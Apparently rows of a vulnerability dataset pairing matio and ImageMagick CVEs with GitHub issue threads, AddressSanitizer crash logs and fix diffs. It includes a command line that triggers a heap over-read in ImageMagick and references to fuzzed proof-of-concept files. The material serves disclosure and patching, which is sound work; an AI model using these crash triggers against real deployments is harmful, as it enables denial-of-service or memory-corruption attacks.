0x0c047fff94b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff94e0: fa fa fa fa fa fa 00[01]fa fa 00 00 fa fa 00 01
0x0c047fff94f0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9500: fa fa 00 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9510: fa fa 01 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9520: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9530: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17501==ABORTING | === https://github.com/tbeu/matio/issues/103 ===
Title: some memory corruption problems when the library parse the mat file
---
Body:
I found several memory corruption problem in the library.
More details can be found at [here](https://github.com/TeamSeri0us/pocs/tree/master/matio).
---
Comment #1 by PhilipMorrisJones:
@tbeu, can you comment on this and say if it is a real vulnerability or not and if so when it is likely to be fixed?
There are 13 CVEs related to this
CVE-2019-9038 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read problem with a SEGV in the function ReadNextCell() in mat5.c.
-- | --
CVE-2019-9037 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a buffer over-read in the function Mat_VarPrint() in mat.c.
CVE-2019-9036 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function ReadNextFunctionHandle() in mat5.c.
CVE-2019-9035 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function ReadNextStructField() in mat5.c.
CVE-2019-9034 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for a memcpy in the function ReadNextCell() in mat5.c.
CVE-2019-9033 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for the "Rank and Dimension" feature in the function ReadNextCell() in mat5.c.
CVE-2019-9032 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds write problem causing a SEGV in the function Mat_VarFree() in mat.c.
CVE-2019-9031 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a NULL pointer dereference in the function Mat_VarFree() in mat.c.
CVE-2019-9030 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in Mat_VarReadNextInfo5() in mat5.c.
CVE-2019-9029 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read with a SEGV in the function Mat_VarReadNextInfo5() in mat5.c.
CVE-2019-9028 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function InflateDimensions() in inflate.c when called from ReadNextCell in mat5.c.
CVE-2019-9027 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow problem in the function ReadNextCell() in mat5.c.
CVE-2019-9026 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function InflateVarName() in inflate.c when called from ReadNextCell in mat5.c.
---
Comment #2 by tbeu:
Working on them. (That's why I pinned the issue).
---
Comment #3 by tbeu:
And, it only happens with crafted MAT-files (created by fuzzing).
---
Comment #4 by PhilipMorrisJones:
@tbeu, thank you. We use this library and appreciate its compactness and usefulness.
Do you know anything about @cool-tomato and why she would fuzz your code?
---
Comment #5 by tbeu:
Fuzzing is easy, probably fun and gives you some credits. Do not know him/her.
---
Comment #6 by tbeu:
Resolved by a0539135c9b1ab7613aa7953279da9224da88775 and 2c20d2178017b3eb13ab160cef239648f9915bdb in master branch.
---
Comment #7 by TeoShaw:
Great to hear that this has been resolved.
On what time scale will we be able to download 1.5.14 and get access to these security improvements?
Thanks,
T.
---
Comment #8 by tbeu:
Will release v1.5.14 probably tonight.
---
Comment #9 by svillemot:
As far as I can tell, CVE-2019-9036 (heap-based buffer overflow in the function `ReadNextFunctionHandle()`) is not yet fixed.
---
Comment #10 by tbeu:
Hm, can no longer reproduce. Can you give some more details?
---
Comment #11 by svillemot:
On git HEAD (9f7f96d727d), with Debian 9, configured with `./configure CFLAGS="-fsanitize=address -O2" LDFLAGS="-fsanitize=address"`:
```
$ tools/matdump ~/pocs/matio/ReadNextFunctionHandle@mat5.c_1837-26___heap-buffer-overflow
=================================================================
==29570==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd0 at pc 0x7f5b9c14f9fe bp 0x7ffca66d34a0 sp 0x7ffca66d3498
WRITE of size 8 at 0x60200000efd0 thread T0
#0 0x7f5b9c14f9fd in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd)
#1 0x562dd8c1c9b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#2 0x7f5b9b7f32e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#3 0x562dd8c1d249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1)
allocated by thread T0 here:
#0 0x7f5b9c42dd28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7f5b9c14ef7a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbef7a)
#2 0x7f5b9c1634a7 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd34a7)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd) in Mat_VarReadNextInfo5
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29570==ABORTING
```
---
Comment #12 by tbeu:
Got it.
---
Comment #13 by carnil:
Should the issue in meanwhile be reopened until as well the last bit fixed?
---
Comment #14 by tbeu:
@svillemot Can you please check if 539ca4df145748558d79ac978d05857437ba3332 fixes the issue for you. Thanks.
---
Comment #15 by svillemot:
The overflow seems to be correctly worked around. But then MatIO apparently attempts to allocate an insane amount of memory, I am not sure this is expected:
```
$ tools/matdump ~/pocs/matio/ReadNextFunctionHandle@mat5.c_1837-26___heap-buffer-overflow
Integer multiplication overflow when calculating number of elements
==14602==WARNING: AddressSanitizer failed to allocate 0x4098900aa0000000 bytes
==14602==AddressSanitizer's allocator is terminating the process instead of returning 0
==14602==If you don't like this behavior set allocator_may_return_null=1
==14602==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:145 "((0)) != (0)" (0x0, 0x0)
#0 0x7f04a03f5ebd (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcaebd)
#1 0x7f04a03fbb13 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xd0b13)
#2 0x7f04a03f9cd6 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcecd6)
#3 0x7f04a0350144 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x25144)
#4 0x7f04a03ecd05 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d05)
#5 0x7f04a010d70f in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbe70f)
#6 0x55c2c84699b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#7 0x7f049f7b22e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#8 0x55c2c846a249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
```
---
Comment #16 by tbeu:
Thanks for confirmation. One other possibility would be to let SafeMulDims return 0 in case of an overflow. What do you think?
---
Comment #17 by svillemot:
Indeed it's probably better to have a zero return value from `SafeMulDims`, which would then be catched and properly handled by the caller.
---
Comment #18 by tbeu:
@svillemot Could you please give 077cbf9ecf495c15edc8546c1acb0cbabf8b6e51 one more try and verify if it finally resolves this issue? Thanks.
---
Comment #19 by svillemot:
Thanks. The only thing still detected by ASAN is a 1-byte memory leak. So, security-wise, the issue is fixed.
```
$ tools/matdump ~/pocs/matio/ReadNextFunctionHandle@mat5.c_1837-26___heap-buffer-overflow
Empty
=================================================================
==14285==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x7fb2691fed28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7fb268f1f1e2 in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf1e2)
#2 0x7fb268f340af (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd40af)
SUMMARY: AddressSanitizer: 1 byte(s) leaked in 1 allocation(s).
````
---
Comment #20 by tbeu:
Thanks for confirmation. The memory leak actually is a separate issue discoverd en passant and resolved by b73f135ebb5339eec376b1f25e63ab50d0d43b55.
---
Comment #21 by svillemot:
I backported those security fixes to MatIO 1.5.13 for Debian (I had to limit myself to minimal changes, since Debian is currently in freeze).
There are test failures on several architectures, all of which are big-endian, in tests 621, 2825 and 2827. Any idea of what's going on?
---
Comment #22 by svillemot:
The logfiles are accessible at: https://buildd.debian.org/status/package.php?p=libmatio
---
Comment #23 by svillemot:
And here are the patches that I applied: https://salsa.debian.org/science-team/libmatio/tree/master/debian/patches
Note that avoid-int-mult-overflow.patch is a trimmed-down version of your commit.
---
Comment #24 by svillemot:
Ok, got it, it's a manifestation of #108.
---
Comment #25 by svillemot:
Applying adfa218770183cf93f74e7fad5055921ae1f9958 fixes the testsuite regression, but unfortunately it reintroduces CVE-2019-9027 and CVE-2019-9038.
On the current git HEAD, I now get the following:
```
$ tools/matdump ~/pocs/matio/inflate___heap-buffer-overflow-02
=================================================================
==17501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000a739 at pc 0x7fb9549d7f7f bp 0x7ffcfb664400 sp 0x7ffcfb663bb0
READ of size 64 at 0x60200000a739 thread T0
#0 0x7fb9549d7f7e (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
#1 0x7fb953f14238 in inflate (/lib/x86_64-linux-gnu/libz.so.1+0xa238)
#2 0x7fb954699abb in InflateData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xdabb)
#3 0x7fb9546c3184 in ReadCompressedCharData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0x37184)
#4 0x7fb9547436fd in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb76fd)
#5 0x7fb95474804f in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc04f)
#6 0x7fb95474e53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#7 0x55625cfea9c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#8 0x7fb9538872e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#9 0x55625cfeb259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
0x60200000a739 is located 0 bytes to the right of 9-byte region [0x60200000a730,0x60200000a739)
allocated by thread T0 here:
#0 0x7fb954a3ced0 in calloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1ed0)
#1 0x7fb954740187 in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb4187)
#2 0x7fb95476ea4f (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xe2a4f)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
Shadow bytes around the buggy address:
0x0c047fff9490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff94e0: fa fa fa fa fa fa 00[01]fa fa 00 00 fa fa 00 01
0x0c047fff94f0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9500: fa fa 00 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9510: fa fa 01 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9520: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9530: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17501==ABORTING
```
```
$ tools/matdump ~/pocs/matio/ReadNextCellt@mat5.c_1342-33__out-of-bound-read
InflateData: inflate returned data error
InflateSkip: inflate returned data error
ASAN:DEADLYSIGNAL
=================================================================
==14816==ERROR: AddressSanitizer: SEGV on unknown address 0x000d0d8dcdf7 (pc 0x7f1ba88b5077 bp 0x606000003140 sp 0x7ffdb11b5a70 T0)
#0 0x7f1ba88b5076 in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076)
#1 0x7f1ba88bb53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#2 0x5581aaa359c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#3 0x7f1ba79f42e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#4 0x5581aaa36259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076) in ReadNextCell
==14816==ABORTING
```
So this issue should be reopened…
---
Comment #26 by tbeu:
One more iteration loop please: 02625a0e394eeb8bf3ea61641f73de907296a2c4 adds another sanity check.
---
Comment #27 by svillemot:
It is good now, thanks! | https://nvd.nist.gov/vuln/detail/CVE-2019-9036 | |
imagemagick.cve-2019-13299 | ImageMagick 7.0.8-50 Q16 has a heap-based buffer over-read at MagickCore/pixel-accessor.h in GetPixelChannel. | https://github.com/ImageMagick/ImageMagick/issues/1610 | https://github.com/ImageMagick/ImageMagick/commit/933bf025119f0de25ee589b706c09c8bb46d5a48, https://github.com/ImageMagick/ImageMagick/commit/d4fc44b58a14f76b1ac997517d742ee12c9dc5d3 | CWE-125 | ImageMagick/ImageMagick | 933bf025119f0de25ee589b706c09c8bb46d5a48~1 | diff --git a/MagickCore/statistic.c b/MagickCore/statistic.c
index 6bf4409f097..dae4b489c88 100644
--- a/MagickCore/statistic.c
+++ b/MagickCore/statistic.c
@@ -582,15 +582,15 @@ MagickExport Image *EvaluateImages(const Image *images,
for (i=0; i < (ssize_t) GetPixelChannels(image); i++)
{
PixelChannel channel = GetPixelChannelChannel(image,i);
- PixelTrait evaluate_traits=GetPixelChannelTraits(image,channel);
PixelTrait traits = GetPixelChannelTraits(next,channel);
+ PixelTrait evaluate_traits = GetPixelChannelTraits(image,channel);
if ((traits == UndefinedPixelTrait) ||
(evaluate_traits == UndefinedPixelTrait))
continue;
if ((traits & UpdatePixelTrait) == 0)
continue;
evaluate_pixel[j].channel[i]=ApplyEvaluateOperator(
- random_info[id],GetPixelChannel(image,channel,p),op,
+ random_info[id],GetPixelChannel(next,channel,p),op,
evaluate_pixel[j].channel[i]);
}
image_view=DestroyCacheView(image_view);
@@ -687,14 +687,14 @@ MagickExport Image *EvaluateImages(const Image *images,
{
PixelChannel channel = GetPixelChannelChannel(image,i);
PixelTrait traits = GetPixelChannelTraits(next,channel);
- PixelTrait evaluate_traits=GetPixelChannelTraits(image,channel);
+ PixelTrait evaluate_traits = GetPixelChannelTraits(image,channel);
if ((traits == UndefinedPixelTrait) ||
(evaluate_traits == UndefinedPixelTrait))
continue;
if ((traits & UpdatePixelTrait) == 0)
continue;
evaluate_pixel[x].channel[i]=ApplyEvaluateOperator(
- random_info[id],GetPixelChannel(image,channel,p),j == 0 ?
+ random_info[id],GetPixelChannel(next,channel,p),j == 0 ?
AddEvaluateOperator : op,evaluate_pixel[x].channel[i]);
}
p+=GetPixelChannels(next);
diff --git a/MagickCore/enhance.c b/MagickCore/enhance.c
index ed3202757e2..35346890a40 100644
--- a/MagickCore/enhance.c
+++ b/MagickCore/enhance.c
@@ -1973,7 +1973,7 @@ MagickExport Image *EnhanceImage(const Image *image,ExceptionInfo *exception)
pixel.black=((aggregate.black+total_weight/2.0)/total_weight);
pixel.alpha=((aggregate.alpha+total_weight/2.0)/total_weight);
}
- SetPixelViaPixelInfo(image,&pixel,q);
+ SetPixelViaPixelInfo(enhance_image,&pixel,q);
p+=GetPixelChannels(image);
q+=GetPixelChannels(enhance_image);
}
diff --git a/MagickCore/pixel-accessor.h b/MagickCore/pixel-accessor.h
index 56fba6c9784..8af0e369cfb 100644
--- a/MagickCore/pixel-accessor.h
+++ b/MagickCore/pixel-accessor.h
@@ -111,7 +111,7 @@ static inline PixelTrait GetPixelCbTraits(const Image *magick_restrict image)
static inline Quantum GetPixelChannel(const Image *magick_restrict image,
const PixelChannel channel,const Quantum *magick_restrict pixel)
{
- if (image->channel_map[image->channel_map[channel].offset].traits == UndefinedPixelTrait)
+ if (image->channel_map[channel].traits == UndefinedPixelTrait)
return((Quantum) 0);
return(pixel[image->channel_map[channel].offset]);
}
| https://github.com/ImageMagick/ImageMagick/issues/1610 | ==30168==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7febb7ba1400 at pc 0x7febc5808632 bp 0x7ffd269baff0 sp 0x7ffd269bafe8
READ of size 4 at 0x7febb7ba1400 thread T0
#0 0x7febc5808631 in GetPixelChannel ./MagickCore/pixel-accessor.h:116:10
#1 0x7febc5805ff6 in EvaluateImages MagickCore/statistic.c:587:33
#2 0x7febc4e1a5bf in CLIListOperatorImages MagickWand/operation.c:4084:22
#3 0x7febc4e2435e in CLIOption MagickWand/operation.c:5279:14
#4 0x7febc4c65a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#5 0x7febc4c66d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#6 0x7febc4cb0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#7 0x526f95 in MagickMain utilities/magick.c:149:10
#8 0x5268e1 in main utilities/magick.c:180:10
#9 0x7febbf727b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x41b069 in _start (install/bin/magick+0x41b069)
0x7febb7ba1400 is located 0 bytes to the right of 248832-byte region [0x7febb7b64800,0x7febb7ba1400)
allocated by thread T0 here:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7febc569fed6 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7febc53e861c in OpenPixelCache MagickCore/cache.c:3728:46
#3 0x7febc53ee901 in GetImagePixelCache MagickCore/cache.c:1754:18
#4 0x7febc53f4bc9 in SyncImagePixelCache MagickCore/cache.c:5488:28
#5 0x7febc5653831 in SetImageStorageClass MagickCore/image.c:2627:10
#6 0x7febc54187e2 in AcquireImageColormap MagickCore/colormap.c:144:10
#7 0x7febc575d137 in AssignImageColors MagickCore/quantize.c:514:7
#8 0x7febc5753f38 in QuantizeImage MagickCore/quantize.c:2724:14
#9 0x7febc53ae56c in SetImageType MagickCore/attribute.c:1495:14
#10 0x7febc4e0cace in CLISimpleOperatorImage MagickWand/operation.c:2792:18
#11 0x7febc4dfec78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12
#12 0x7febc4e24315 in CLIOption MagickWand/operation.c:5273:16
#13 0x7febc4c65a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#14 0x7febc4c66d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#15 0x7febc4cb0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#16 0x526f95 in MagickMain utilities/magick.c:149:10
#17 0x5268e1 in main utilities/magick.c:180:10
#18 0x7febbf727b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: heap-buffer-overflow ./MagickCore/pixel-accessor.h:116:10 in GetPixelChannel | === https://github.com/ImageMagick/ImageMagick/issues/1610 ===
Title: heap-buffer-overflow at MagickCore/pixel-accessor.h:116:10 in GetPixelChannel
---
Body:
### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There's a heap-buffer-overflow at MagickCore/pixel-accessor.h:116:10 in GetPixelChannel.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run_cmd:
`magick -seed 0 "(" magick:netscape -monochrome ")" "(" magick:netscape +repage ")" -geometry 433%-80-57 -adjoin -evaluate-sequence Median tmp`
Here's ASAN log.
```
==30168==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7febb7ba1400 at pc 0x7febc5808632 bp 0x7ffd269baff0 sp 0x7ffd269bafe8
READ of size 4 at 0x7febb7ba1400 thread T0
#0 0x7febc5808631 in GetPixelChannel ./MagickCore/pixel-accessor.h:116:10
#1 0x7febc5805ff6 in EvaluateImages MagickCore/statistic.c:587:33
#2 0x7febc4e1a5bf in CLIListOperatorImages MagickWand/operation.c:4084:22
#3 0x7febc4e2435e in CLIOption MagickWand/operation.c:5279:14
#4 0x7febc4c65a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#5 0x7febc4c66d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#6 0x7febc4cb0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#7 0x526f95 in MagickMain utilities/magick.c:149:10
#8 0x5268e1 in main utilities/magick.c:180:10
#9 0x7febbf727b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x41b069 in _start (install/bin/magick+0x41b069)
0x7febb7ba1400 is located 0 bytes to the right of 248832-byte region [0x7febb7b64800,0x7febb7ba1400)
allocated by thread T0 here:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7febc569fed6 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7febc53e861c in OpenPixelCache MagickCore/cache.c:3728:46
#3 0x7febc53ee901 in GetImagePixelCache MagickCore/cache.c:1754:18
#4 0x7febc53f4bc9 in SyncImagePixelCache MagickCore/cache.c:5488:28
#5 0x7febc5653831 in SetImageStorageClass MagickCore/image.c:2627:10
#6 0x7febc54187e2 in AcquireImageColormap MagickCore/colormap.c:144:10
#7 0x7febc575d137 in AssignImageColors MagickCore/quantize.c:514:7
#8 0x7febc5753f38 in QuantizeImage MagickCore/quantize.c:2724:14
#9 0x7febc53ae56c in SetImageType MagickCore/attribute.c:1495:14
#10 0x7febc4e0cace in CLISimpleOperatorImage MagickWand/operation.c:2792:18
#11 0x7febc4dfec78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12
#12 0x7febc4e24315 in CLIOption MagickWand/operation.c:5273:16
#13 0x7febc4c65a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#14 0x7febc4c66d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#15 0x7febc4cb0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#16 0x526f95 in MagickMain utilities/magick.c:149:10
#17 0x5268e1 in main utilities/magick.c:180:10
#18 0x7febbf727b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: heap-buffer-overflow ./MagickCore/pixel-accessor.h:116:10 in GetPixelChannel
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org
- Environment (Operating system, version and so on):
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
- Additional information:
CC=clang-7 CXX=clang++-7 ./configure --disable-openmp
<!-- Thanks for reporting the issue to ImageMagick! -->
---
Comment #1 by urban-warrior:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #2 by nohmask:
This was assigned CVE-2019-13299.
---
Comment #3 by Kirill200889:
Hi, I noticed that the fixing commit isn't included in the releases, only in master. All versions are still valnurable if I download the files from GitHub?
---
Comment #4 by urban-warrior:
The patch is in the current release. Download the latest release, run your POC, if it fails, let us know.
---
Comment #5 by Kirill200889:
I can't uderstand something
This issue fixed by 8187d2d8fd010d2d6b1a3a8edd935beec404dddc
and 1611 issue fixed by d4fc44b58a14f76b1ac997517d742ee12c9dc5d3
These two commits together cancel each other at "MagickCore/pixel-accessor.h"
so it means this issue 1610 never fixed?
---
Comment #6 by urban-warrior:
The POC is no longer triggered suggesting our patch mitigated the vulnerability and the issue is fixed. Can you still reproduce the problem in the latest releases of ImageMagick? | https://nvd.nist.gov/vuln/detail/CVE-2019-13299 | |
imagemagick.cve-2018-6405 | In the ReadDCMImage function in coders/dcm.c in ImageMagick before 7.0.7-23, each redmap, greenmap, and bluemap variable can be overwritten by a new pointer. The previous pointer is lost, which leads to a memory leak. This allows remote attackers to cause a denial of service. | https://github.com/ImageMagick/ImageMagick/issues/964 | https://github.com/ImageMagick/ImageMagick/commit/1fbed78912c830ccd82eecdb8a1db4882abb8276 | CWE-772 | ImageMagick/ImageMagick | 1fbed78912c830ccd82eecdb8a1db4882abb8276~1 | diff --git a/coders/dcm.c b/coders/dcm.c
index 5f9cb02c71c..2e339fc9b8a 100644
--- a/coders/dcm.c
+++ b/coders/dcm.c
@@ -3580,6 +3580,8 @@ static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo *exception)
break;
colors=(size_t) (length/2);
datum=(int) colors;
+ if (redmap != (int *) NULL)
+ redmap=(int *) RelinquishMagickMemory(redmap);
redmap=(int *) AcquireQuantumMemory((size_t) colors,
sizeof(*redmap));
if (redmap == (int *) NULL)
@@ -3608,6 +3610,8 @@ static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo *exception)
break;
colors=(size_t) (length/2);
datum=(int) colors;
+ if (greenmap != (int *) NULL)
+ greenmap=(int *) RelinquishMagickMemory(greenmap);
greenmap=(int *) AcquireQuantumMemory((size_t) colors,
sizeof(*greenmap));
if (greenmap == (int *) NULL)
